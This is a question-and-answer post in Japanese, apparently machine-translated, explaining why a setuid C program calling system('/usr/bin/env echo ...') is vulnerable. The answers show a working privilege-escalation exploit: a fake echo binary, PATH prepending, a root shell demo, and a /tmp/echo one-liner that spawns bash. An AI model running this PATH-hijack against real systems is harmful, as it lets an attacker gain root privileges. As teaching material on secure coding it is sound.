#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
私が理解しているように、上記のコードは任意のコード(またはプログラム)の実行を許可します—これを脆弱にする理由と、これをどのように利用するのですか?
PATH
変数をオーバーライドして、カスタムバージョンのecho
のディレクトリを指すことができます。また、echo
はenv
を使用して実行されるため、処理されません。ビルトインとして。
これは、コードが特権ユーザーとして実行された場合にのみ脆弱性を構成します。
以下の例では、ファイルv.cに質問のコードが含まれています。
_$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ Sudo chown root v
$ Sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
_
質問に投稿された脆弱なコードでsetresuid()
を呼び出す前にsystem()
を呼び出すことにより、実際のユーザーID、実効ユーザーID、および保存されたset-user-IDを設定できることに注意してください。 1つは、有効なユーザーIDのみが特権ユーザーIDに設定され、実際のユーザーIDが非特権のままである場合でも、この脆弱性を悪用します(たとえば、上記のようにファイルのset-user-IDビットに依存する場合など)。 setresuid()
を呼び出さないと、system()
によって実行されるシェルは有効なユーザーIDを実際のユーザーIDにリセットし、エクスプロイトを無効にします。ただし、脆弱なコードを特権ユーザーの実際のユーザーIDで実行する場合は、system()
呼び出しだけで十分です。 sh
のマニュアルページの引用:
シェルが実際のユーザー(グループ)IDと等しくない有効なユーザー(グループ)IDで開始され、-pオプションが指定されていない場合、起動ファイルは読み取られず、シェル関数は環境から継承されません。SHELLOPTS変数が環境に表示されている場合は無視され、実効ユーザーIDは実際のユーザーIDに設定されます。呼び出し時に-pオプションが指定されている場合、起動時の動作は同じですが、有効なユーザーIDはリセットされません。
また、setresuid()
は移植性がありませんが、setuid()
またはsetreuid()
を使用して同じ効果を得ることができることに注意してください。
実際には、システム関数呼び出しでは、echo
コマンドをいじることができます。たとえば、次のコードを実行した場合:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
ファイル所有者の権限を持つシェルを取得します